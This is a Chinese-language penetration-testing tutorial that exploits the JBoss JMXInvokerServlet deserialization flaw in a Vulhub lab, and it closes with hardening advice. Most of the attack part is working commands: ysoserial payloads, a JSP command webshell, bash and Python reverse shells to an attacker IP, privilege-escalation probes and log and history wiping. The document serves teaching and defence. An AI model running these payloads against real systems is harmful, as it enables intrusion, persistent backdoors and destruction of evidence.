JBoss未授权访问漏洞实战:从信息收集到Getshell的完整渗透测试

1. 项目概述:一次从信息收集到权限获取的完整实战

最近在整理内部安全测试的案例库,翻到了一个挺有代表性的老漏洞复现记录——JBoss的未授权访问漏洞。虽然JBoss现在用的人少了,但这个漏洞链的利用思路,从信息泄露到最终拿到服务器权限,整个过程非常经典,对理解中间件安全、Java反序列化以及Web渗透的逻辑很有帮助。很多新手朋友可能听说过“未授权访问”和“Getshell”这些词,但具体怎么从一个看似不起眼的访问点,一步步拿到服务器的控制权,中间的细节和坑点可能并不清楚。这篇文章,我就以一个完全从零开始的视角,带大家完整走一遍这个实战过程。我会假设你有一台刚装好的Kali Linux和一个存在漏洞的JBoss靶机环境,咱们的目标就是:从外部探测开始,发现JBoss的未授权访问点,然后利用这个点上传我们的WebShell,最终拿到一个可交互的命令执行权限。整个过程我会把每个步骤的原理、用到的工具、可能遇到的问题以及我踩过的坑都讲清楚,保证你看完就能自己动手复现出来。

2. 环境搭建与目标识别

2.1 靶机环境准备

要复现漏洞,首先得有个靶子。我推荐使用Vulhub这个漏洞环境集成项目,它用Docker封装了各种漏洞环境,一键启动,非常方便。首先,确保你的机器上安装了Docker和Docker Compose。然后,从GitHub上拉取Vulhub的代码。

git clone https://github.com/vulhub/vulhub.git
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d

执行完上述命令,Docker就会在本地启动一个存在JBoss未授权访问漏洞的环境。默认情况下,JBoss的服务会运行在 8080 端口。你可以通过访问 http://your-target-ip:8080 来确认服务是否正常启动。如果看到JBoss的默认欢迎页面,说明环境就绪了。

注意:这里的“your-target-ip”需要替换为你运行Docker宿主机的IP地址。如果是在本机测试,通常就是 127.0.0.1 localhost 。在虚拟网络或云服务器上,则需要使用对应的内网或公网IP。

2.2 信息收集与漏洞点探测

在真实的渗透测试中,我们往往不知道目标运行了什么服务。所以第一步永远是信息收集。假设我们通过端口扫描(比如用nmap)发现了目标的8080端口开放,并初步判断是JBoss服务。如何确认它是否存在未授权访问的漏洞点呢?

JBoss有一个著名的未授权访问漏洞存在于其 JMX Invoker Servlet 组件中。该Servlet默认配置下无需认证即可访问,并可以调用MBean的方法,这为后续的反序列化攻击打开了大门。探测这个点非常简单,直接访问一个特定的URL路径即可。

我们可以使用浏览器,或者更常用的命令行工具 curl 来探测:

curl -v http://your-target-ip:8080/invoker/JMXInvokerServlet

如果返回的HTTP状态码是 200 OK ,并且响应内容看起来像是一串乱码(其实是Java序列化后的二进制数据),那么基本可以确定这个漏洞点存在。如果返回 404 或者 403 ,则说明该路径可能被删除或设置了访问控制。

实操心得:仅仅返回200并不100%意味着漏洞可利用。有些管理员会放一个空文件或假页面在这个路径来“欺骗”扫描器。更可靠的方法是检查响应头的 Content-Type ,如果是 application/x-java-serialized-object ,那就铁证如山了。另外,也可以使用专门的工具如 JexBoss 进行更全面的检测。

除了 /invoker/JMXInvokerServlet ,历史上JBoss还有其他几个存在类似问题的Servlet,例如 /web-console/Invoker 等。在信息收集阶段,可以用目录扫描工具(如 dirsearch , gobuster )搭配一个针对JBoss的敏感路径字典进行批量探测,以提高覆盖率。

3. 漏洞原理与利用链深度解析

3.1 为什么未授权访问是致命的?

要理解这个漏洞的严重性,我们需要先简单了解一下JBoss的架构。JBoss(现称WildFly)是一个Java EE应用服务器,它内部大量使用JMX(Java Management Extensions)进行管理和监控。 JMXInvokerServlet 就是一个允许通过HTTP协议远程调用JMX MBean方法的入口。

在早期版本中,这个Servlet的访问控制配置存在缺失。想象一下,你家别墅有一个专门接收送货员指令的后门(Servlet),本来只应该接收来自物业(可信来源)的指令,结果门上却没装锁(未授权访问)。任何路过的人(攻击者)都可以通过这个后门向屋里发送指令。

攻击者发送的“指令”,就是一段序列化后的Java对象。JBoss在接收到这个请求后,会反序列化这个对象,将其还原成一个Java类的实例,并执行其中定义的操作。这里就引入了第二个关键问题: 不安全的反序列化

3.2 从反序列化到命令执行

Java反序列化漏洞的核心在于,如果应用反序列化了攻击者精心构造的、包含恶意代码的对象,那么在反序列化过程中,这些恶意代码就会被执行。攻击者通常会利用Java类库中一些固有的、具有“危险行为”的类来构造利用链(Gadget Chain)。

在JBoss这个场景下,一个经典的利用链涉及 org.jboss.invocation.MarshalledValue 类。这个类在反序列化时,会调用其 get() 方法,进而触发其中包裹的另一个对象的反序列化。攻击者可以构造一个 MarshalledValue 对象,其内部包裹一个利用Apache Commons Collections库(一个非常常用的Java工具库)构造的恶意对象。

Apache Commons Collections 3.2.1及以前版本中, Transformer InvokerTransformer ChainedTransformer 等类可以被巧妙组合,使得在反序列化时能够执行任意Java方法。最终,攻击者通过这条链,可以实现调用 Runtime.getRuntime().exec(“你的系统命令”) ,从而在目标服务器上执行任意系统命令。

简单总结一下利用链:

  1. 未授权访问 :攻击者可以无认证访问 JMXInvokerServlet
  2. 接收序列化数据 :该Servlet会处理HTTP POST请求体中的序列化对象。
  3. 触发反序列化 :JBoss反序列化攻击者发送的恶意对象。
  4. 执行利用链 :反序列化过程触发Apache Commons Collections中的利用链。
  5. 实现命令执行 :利用链末端执行系统命令,攻击者获得远程命令执行能力。

注意事项:这个漏洞的成功利用有一个关键前提,就是目标JBoss应用的类路径(Classpath)中必须包含存在漏洞版本的Apache Commons Collections库(例如3.2.1, 4.0)。幸运的是,在JBoss 5.x/6.x等老版本中,这个库是默认包含的,这也是该漏洞影响广泛的原因之一。

4. 利用工具选择与Payload生成

4.1 工具选型:为何选择ysoserial?

手动构造这条复杂的利用链是极其困难的,好在安全社区已经有了非常成熟的工具—— ysoserial 。它是一个集合了多种Java反序列化利用链(Gadget)的生成工具,可以针对不同的库(如Commons Collections, Spring, Jdk7u21等)生成攻击Payload。

对于JBoss的 JMXInvokerServlet 漏洞,我们通常使用 ysoserial CommonsCollections5 CommonsCollections6 利用链来生成Payload。这两个链在绕过某些限制和稳定性上略有不同,可以都尝试一下。

首先,我们需要准备好 ysoserial 。你可以从GitHub下载其JAR文件,或者直接克隆源码自己编译。

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

编译成功后,在 target 目录下会生成 ysoserial-0.0.6-SNAPSHOT-all.jar (版本号可能不同)。为了方便,我们可以将其复制到系统路径或重命名为 ysoserial.jar

4.2 生成反向Shell的Payload

直接执行一个 whoami id 命令可以验证漏洞存在,但我们的最终目标是获取一个交互式的Shell。因此,我们需要生成一个反向Shell(Reverse Shell)的Payload。反向Shell的意思是,让靶机主动连接我们攻击机监听的某个端口,从而在我们攻击机上获得一个连接回来的Shell。

假设我们攻击机的IP是 192.168.1.100 ,我们打算在 4444 端口进行监听。在Linux/Mac下,常用的反向Shell命令是:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

但是, ysoserial 生成的Payload最终是通过 Runtime.exec() 执行命令的。这个函数执行复杂Shell命令(特别是涉及重定向 >& 和管道 | )时可能会遇到问题。更可靠的方法是使用编码后的命令,或者使用支持直接执行 /bin/bash -c 的利用方式。

一种更通用的方法是使用Java的 ProcessBuilder 链,但通过 ysoserial 直接生成这样的Payload比较麻烦。一个实战中更高效的做法是: 先上传一个WebShell,再通过WebShell来执行更复杂的命令 。我们分两步走:

  1. 利用反序列化漏洞执行一个简单的命令:将我们的一句话木马(WebShell)写入到JBoss的Web目录下。
  2. 直接访问这个WebShell,用它来执行反向Shell等高级操作。

所以,我们第一步生成的Payload,其命令应该是: echo “一句话木马内容” > /path/to/jboss/webapp/shell.jsp

我们需要知道JBoss的Web部署路径。在默认安装中,可能是 /opt/jboss/server/default/deploy/ROOT.war/ ,但在我们的Docker环境里,路径可能是 /jboss-6.1.0.Final/server/default/deploy/ROOT.war/ 。如果不确定,可以先用一个探测命令来找路径,比如 find / -name “*.war” 2>/dev/null

为了保险起见,我们可以先尝试一个简单的命令来测试漏洞并探测路径:

# 生成一个执行 ‘id’ 命令的Payload,保存为二进制文件
java -jar ysoserial.jar CommonsCollections5 “id” > payload_id.bin

5. 发起攻击:上传WebShell

5.1 发送恶意序列化数据

生成了Payload二进制文件后,我们需要通过HTTP POST请求,将其发送到目标的 /invoker/JMXInvokerServlet 。这里可以使用 curl 工具。

curl -X POST --data-binary @payload_id.bin http://your-target-ip:8080/invoker/JMXInvokerServlet -H “Content-Type: application/x-java-serialized-object”

关键参数解析:

  • -X POST :指定使用POST方法。
  • --data-binary @payload_id.bin :从 payload_id.bin 文件中读取二进制数据作为请求体。 这里必须用 --data-binary 而不是 --data ,以确保序列化数据的完整性。
  • -H “Content-Type: application/x-java-serialized-object” :设置请求头,告诉服务器我们发送的是Java序列化对象。这个头有时不是必需的,但加上更规范。

执行这条命令后,如果漏洞存在且利用链适用,服务器就会执行 id 命令。不过由于是反序列化漏洞,命令执行的结果 默认不会直接返回给客户端 。我们看不到 id 命令的输出。如何验证命令是否执行成功呢?这就需要用到我们之前说的“写入文件”的技巧。

5.2 写入一句话木马WebShell

我们来构造一个写入JSP WebShell的Payload。一个经典的JSP一句话木马如下:

<%@page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>

这个木马的作用是:当访问它并传递 cmd 参数时,它会执行 cmd 参数值对应的系统命令,并将输出回显到网页上。

我们需要将这个多行的JSP代码,转换成一条能在 Runtime.exec() 中正确执行的 echo 命令。这里有个技巧:用 printf 命令配合 \n 换行符来写入多行内容。先将木马内容进行适当的转义(特别是引号和换行),然后拼接到一条命令里。

一个相对简单的办法是,将木马代码保存到一个本地文件,比如 shell.txt ,然后使用 ysoserial 执行一个能读取本地文件并写入目标路径的命令。但 Runtime.exec() 不支持管道和复杂的Shell语法,所以我们可以用 bash -c 来执行一段Shell脚本字符串。

最终构造的命令可能很长,例如:

bash -c ‘echo “<%@page import=\”java.util.*,java.io.*\”%><%if(request.getParameter(\”cmd\”)!=null){Process p=Runtime.getRuntime().exec(request.getParameter(\”cmd\”));InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>“ > /jboss-6.1.0.Final/server/default/deploy/ROOT.war/cmd.jsp’

由于命令字符串里嵌套了多层引号,在生成Payload时很容易出错。我的经验是, 先在一个可控的Linux环境里,测试这条复杂的 echo 命令是否能正确生成目标文件 。测试成功后,再将整条命令作为参数传递给 ysoserial

# 1. 在本地测试命令
bash -c ‘echo “test” > /tmp/test.txt’
cat /tmp/test.txt # 确认文件内容

# 2. 生成Payload (假设经过测试的正确命令为CMD)
CMD=“上面那串非常长的命令”
java -jar ysoserial.jar CommonsCollections5 “$CMD” > payload_shell.bin

# 3. 发送Payload
curl -X POST --data-binary @payload_shell.bin http://your-target-ip:8080/invoker/JMXInvokerServlet -H “Content-Type: application/x-java-serialized-object”

5.3 验证WebShell是否上传成功

发送Payload后,我们需要验证文件是否成功写入。最直接的方法就是尝试访问这个WebShell。如果JBoss部署在 8080 端口,Web根目录是 ROOT.war ,那么我们上传的 cmd.jsp 的访问地址就是: http://your-target-ip:8080/cmd.jsp

直接在浏览器中访问这个地址。如果页面空白(没有报404或500错误),那么大概率是上传成功了。因为我们的木马在未接收 cmd 参数时,不会输出任何内容。

接下来,通过URL传递 cmd 参数来执行命令验证: http://your-target-ip:8080/cmd.jsp?cmd=whoami

如果页面上显示了执行 whoami 命令的结果(例如 root jboss ),那么恭喜你,你已经通过未授权访问漏洞,成功在目标服务器上植入了一个WebShell,获得了命令执行能力。

踩坑记录:这一步最容易出问题的地方就是文件路径和命令转义。

  1. 路径错误 :JBoss的Web部署路径可能因版本和安装方式而异。如果上传后访问404,首先检查路径。可以通过执行 find / -type f -name “*.jsp” 2>/dev/null | head -5 这样的命令来寻找已有的JSP文件,从而确定Web目录。
  2. 权限不足 :执行命令的用户(通常是 jboss 用户)可能对目标Web目录没有写权限。可以尝试写入 /tmp 目录,但这样就需要其他方式(如文件包含)来利用。或者先执行 chmod chown 命令提权,但这通常需要当前用户有相应权限。
  3. 命令转义失败 :复杂的 echo 命令在 Runtime.exec() 中可能被错误解析。如果多次尝试失败,可以考虑分步操作:先上传一个内容简单的文件测试命令执行,再尝试用 wget curl 从远程服务器下载写好的WebShell,前提是靶机出网且具备这些工具。

6. 权限提升与交互式Shell获取

6.1 从WebShell到反向Shell

有了WebShell,我们就有了一个稳定的命令执行点。但通过Web执行命令,输出可能受HTTP响应限制,且没有交互性(比如无法运行 top , vi 这类需要终端的程序)。因此,我们需要一个真正的交互式反向Shell。

在攻击机上,先用 nc (Netcat)监听一个端口:

nc -lvnp 4444

参数解释:

  • -l :监听模式。
  • -v :详细输出。
  • -n :直接使用IP地址,不进行DNS解析。
  • -p 4444 :指定监听端口。

然后,通过WebShell触发反向连接。在浏览器访问: http://your-target-ip:8080/cmd.jsp?cmd=bash+-c+‘bash+-i+>%26+/dev/tcp/192.168.1.100/4444+0>%261’

这里对URL中的特殊字符(如空格、 & > )进行了编码。 + 代表空格, %26 代表 & 。这条命令是让靶机上的 bash 连接到我们攻击机的 4444 端口。

如果一切顺利,你会在 nc 的监听窗口看到连接建立,并出现一个Shell提示符。你可以尝试输入 whoami , pwd , id 等命令进行验证。

6.2 利用技巧与稳定性维持

直接使用 bash -i 生成的反向Shell可能不太稳定,容易中断。我们可以使用更强大的工具如 socat ,或者用Python、Perl、PHP等脚本语言来生成更稳定的Shell。前提是靶机环境安装了这些解释器。

例如,使用Python生成反向Shell:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’

通过WebShell执行这条Python命令,同样可以连接到我们的 nc 监听器。

为了获得一个更“舒适”的终端,我们可以在收到基本的反向Shell后,对其进行升级:

  1. 在反向Shell中,先检查当前终端类型: echo $TERM
  2. 使用Python的 pty 模块生成一个伪终端:
    python -c ‘import pty; pty.spawn(“/bin/bash”)’
    
  3. 按下 Ctrl+Z 将当前会话挂起到后台。
  4. 在攻击机本地终端中,设置终端类型并重新接管会话:
    stty raw -echo
    fg
    
  5. 然后输入 reset ,再设置终端类型(如 xterm-256color )和正确的行数、列数:
    export TERM=xterm-256color
    export SHELL=bash
    stty rows 50 columns 150
    

这样,你就获得了一个支持命令历史记录、Tab补全、清屏等功能的完整交互式Shell。

6.3 内网渗透初步与痕迹清理

拿到一个主机的Shell后,作为一次完整的实战演练,我们还需要考虑后续步骤。当然,在授权的测试环境中,我们到此为止即可。但了解完整的思路是必要的。

  1. 信息收集 :查看当前用户权限( id , sudo -l ),查看网络配置( ifconfig , ip addr , netstat -antp ),查看进程( ps aux ),查看敏感配置文件( /etc/passwd , /etc/shadow (需root),历史命令 history )等。
  2. 权限提升 :如果当前不是root用户,需要尝试提权。检查内核版本( uname -a )寻找本地提权漏洞,检查SUID/GUID文件( find / -perm -u=s -type f 2>/dev/null ),检查可写的计划任务( crontab -l , /etc/crontab )等。
  3. 内网探测 :如果这台服务器处于内网,可以将其作为跳板,进一步探测内网其他主机。上传 nmap masscan 等扫描工具,或使用系统自带的 nc ping 等进行存活探测和端口扫描。
  4. 痕迹清理 :在授权测试结束后,需要清理痕迹。删除上传的WebShell文件( rm /path/to/cmd.jsp ),清理Web日志(如JBoss的 server.log ,访问日志),清理当前用户的 .bash_history 文件( echo “” > ~/.bash_history 或直接删除)。但请注意,在真实环境中,这些清理操作本身也会留下日志,专业的安全团队往往能发现蛛丝马迹。

重要提醒:以上所有关于内网渗透和痕迹清理的描述,仅用于技术学习和授权测试场景的理解。未经授权的测试和入侵是违法行为。

7. 漏洞修复与安全加固建议

复现漏洞是为了更好地理解它,从而进行防御。对于企业安全运维人员,针对此类JBoss未授权访问漏洞,应采取以下措施:

7.1 临时缓解措施

  1. 删除或限制访问Invoker Servlet :这是最直接有效的方法。找到JBoss部署目录下的 deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 文件,将其中关于 JMXInvokerServlet ReadOnlyAccessFilter 的映射注释掉或删除,然后重启JBoss服务。或者,直接删除 invoker.war 这个目录。
  2. 配置访问控制 :如果功能需要保留,则必须为其配置严格的认证和授权。在 web.xml 中为 /invoker/* URL模式添加安全约束( <security-constraint> ),指定只有认证用户才能访问。
  3. 网络层隔离 :通过防火墙或安全组策略,限制访问JBoss管理控制台和Invoker端口的源IP,仅允许管理员IP或运维网络访问。

7.2 根本解决方案

  1. 升级版本 :将JBoss应用服务器升级到不受该漏洞影响的最新版本。新版本通常默认关闭或加强了这些高危服务的访问控制。
  2. 移除危险依赖 :如果无法升级JBoss,可以考虑从类路径中移除存在漏洞的第三方库,例如有漏洞版本的Apache Commons Collections。但需评估这是否会影响业务应用的正常运行。
  3. 部署Web应用防火墙(WAF) :在JBoss服务前端部署WAF,配置规则拦截对 /invoker/JMXInvokerServlet 等敏感路径的恶意请求,特别是包含Java序列化魔法头( AC ED 00 05 )的请求体。

7.3 安全开发与运维实践

  1. 最小权限原则 :运行JBoss服务的操作系统用户(如 jboss )应仅拥有必要的权限,避免使用root用户运行。
  2. 定期安全扫描 :使用专业的漏洞扫描器或IAST、RASP等运行时防护工具,定期对中间件和服务进行安全检测,及时发现未授权访问、反序列化等漏洞。
  3. 关注安全通告 :保持对Apache Commons Collections、Jackson、Fastjson等常用组件安全漏洞的关注,及时更新或打补丁。

8. 从本次实战延伸的思考与防御视角

通过这次从零到Getshell的实战,我们清晰地看到了一条“未授权访问 -> 反序列化 -> 命令执行 -> 持久化后门”的完整攻击链。这不仅仅是JBoss独有的问题,许多其他中间件和服务(如我们热搜词里提到的Nacos、Redis、Rsync、Swagger-ui)都曾出现过类似的未授权访问漏洞,其危害本质是相通的: 暴露了本应受控的管理或API接口

作为攻击方(在授权范围内),我们需要锻炼的是这种“顺藤摸瓜”的能力:发现一个入口点,如何快速判断其风险,如何寻找利用方法,如何克服执行环境限制(如无回显、命令长度限制、字符过滤),最终达成目标。工具(如 ysoserial )的使用是简单的,难的是在工具失效时,如何自己分析利用链,如何构造替代的Payload。

作为防御方,我们应该建立起“攻击者视角”的防御思路:

  1. 资产清点 :清楚知道对外暴露了哪些服务、哪些端口、哪些管理后台。
  2. 默认安全 :所有管理接口、API接口、调试接口,在非必要情况下都应默认关闭或施加强认证。不要相信“内网就是安全的”。
  3. 纵深防御 :不要只依赖一层防护。网络层的ACL、主机层的防火墙、应用层的认证授权、代码层的安全编码、运行时的安全防护(RASP)需要共同作用。
  4. 威胁监测 :对访问日志、系统日志进行监控,建立异常访问模型(如频繁访问特定敏感路径、请求体中包含序列化特征码等),以便在发生攻击时能快速发现和响应。

这次复现的漏洞虽然老旧,但其背后的攻防逻辑历久弥新。理解它,不仅能让你掌握一项具体的渗透测试技巧,更能帮你建立起对中间件安全、反序列化漏洞的深刻认知,这才是最重要的收获。在后续遇到新的、未知的“未授权访问”漏洞时,你才能举一反三,快速形成自己的测试和防御方案。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值